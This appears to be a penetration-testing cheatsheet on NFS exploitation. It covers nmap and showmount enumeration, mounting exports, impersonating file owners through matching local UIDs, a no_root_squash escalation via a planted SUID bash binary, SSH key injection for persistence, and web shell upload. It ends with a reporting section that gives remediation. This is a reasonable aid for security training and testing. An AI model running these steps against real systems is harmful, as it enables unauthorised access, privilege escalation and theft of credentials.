🛡️ Methodology Checklist
- Detect NFS:
nmap -p 111,2049 --script nfs-ls,nfs-showmount,nfs-statfs [TARGET] - List exports:
showmount -e [TARGET] - Mount share:
sudo mount -t nfs [TARGET]:[EXPORT] /mnt/nfs -o nolock - Check for sensitive files, SSH keys, password files
- Check
no_root_squashin/etc/exportsfor privilege escalation - If
no_root_squash: compile SUID binary on attacker, mount and chmod +s - Unmount after collection:
sudo umount /mnt/nfs
🎯 Operational Context
Think Dumber First:
showmount -e [TARGET]lists exports immediately — no credentials needed. If any export shows*(rw,no_root_squash), you own the target: mount as root, place a SUID bash binary, unmount, execute as low-priv user on the target. Even withoutno_root_squash, world-readable exports from dev environments commonly contain SSH keys and database credentials.
When you land here: Ports 111/2049 open. showmount -e [TARGET] immediately. Mount each share: mount -t nfs [TARGET]:/[SHARE] /mnt/. Check /etc/exports if you have shell access for the full picture.
⚡ Tactical Cheatsheet
| Command | Tactical Outcome |
|---|---|
sudo nmap [TARGET_IP] -p111,2049 -sV -sC | Detect NFS and RPCBind services |
showmount -e [TARGET_IP] | List exported (shared) directories |
mkdir target-NFS | Create local mount point |
sudo mount -t nfs [TARGET_IP]:/[SHARE_PATH] ./target-NFS/ -o nolock | Mount NFS share locally |
ls -l | View files with username resolution |
ls -n | View files with raw numeric UIDs |
sudo useradd -u [UID] pwnuser | Create local user with matching UID for access |
sudo su - pwnuser | Switch to impersonation user |
cd .. && sudo umount ./target-NFS | Unmount when finished |
sudo umount -l -f ~/target-NFS | Force unmount if busy |
🔬 Deep Dive & Workflow
Initial Enumeration
- Nmap:
sudo nmap [TARGET_IP] -p111,2049 -sV -sC - List exports:
showmount -e [TARGET_IP] - Mount share:
sudo mount -t nfs [TARGET_IP]:/[SHARE] ./target-NFS/ -o nolock - List files with permissions:
ls -l - List files with raw UIDs:
ls -n - Check
/etc/exportson server if local access — look forno_root_squash
Attacks
- UID Impersonation: If files owned by UID not on your system, create local user with matching UID
sudo useradd -u [UID] pwnuser && sudo su - pwnuser- NFS trusts client UID — grants full access to files owned by that UID
- If
no_root_squashis set → create files as root on the server - Look for SSH keys, credentials, config files in mounted shares
- If writable share + web server overlap → upload web shell
Core Concept
NFS (Network File System) allows systems to access files over a network as if they were local. Primarily Linux/Unix.
- Port 111 (RPCBind): Maps RPC program numbers to ports.
- Port 2049: NFS service.
Authentication flaw in NFSv3: No built-in auth — trusts client UID/GID. NFSv4 adds Kerberos.
NFS Versions
| Version | Key Features |
|---|---|
| NFSv2 | Legacy, initially UDP only |
| NFSv3 | Variable file sizes, better error reporting |
| NFSv4 | Stateful, Kerberos, ACLs, TCP only (port 2049) |
| NFSv4.1 | Clustered servers (pNFS), session trunking |
Dangerous /etc/exports Settings
| Option | Risk |
|---|---|
no_root_squash | Critical — remote root creates files as root on server |
insecure | Allows connections from ports >1024 — non-root users can interact |
nohide | Auto-exports mounted directories within exports |
🛠️ Troubleshooting & Edge Cases
| Problem | Cause | Fix |
|---|---|---|
| mount returns ‘access denied’ | Export restricted by IP ACL | Confirm your VPN IP; showmount -e shows your permitted ranges; try from a pivot host matching the allowed subnet |
| Mounted share is empty or shows no files | Root squashing hiding files owned by root | Use ls -lan to see numeric UIDs; re-mount as a matching local UID: mount -o uid=[TARGET_UID] |
| SUID binary placed on NFS mount doesn’t execute | Mount has noexec option | Mount with -o exec: mount -o exec,rw [TARGET]:/[SHARE] /mnt/; or copy binary off share and execute locally |
| NFSv4 mount fails ‘Protocol not supported’ | Server only serves NFSv3 | Add -o vers=3 to mount command; confirm with nmap --script nfs-showmount -p 111 [TARGET] |
| showmount hangs indefinitely | RPC portmapper accessible but mountd firewall-blocked | Try direct mount: mount -t nfs -o nfsvers=3 [TARGET]:/[SHARE] /mnt/; check RPC services with rpcinfo -p [TARGET] |
📝 Reporting Trigger
Finding Title: NFS Export with no_root_squash — Privilege Escalation Vector
Impact: Local privilege escalation to root — mount as attacker root, plant SUID binary in shared directory, execute on target as low-privilege user to obtain root shell. SSH key injection for persistent root access.
Root Cause: NFS export configured with no_root_squash in /etc/exports, allowing root clients to mount with root privileges on the target filesystem.
Recommendation: Remove no_root_squash from all NFS exports. Replace with root_squash (default). Restrict NFS exports to minimum required IP ranges. Implement NFSv4 with Kerberos authentication (sec=krb5p). Audit all exported paths for sensitive files.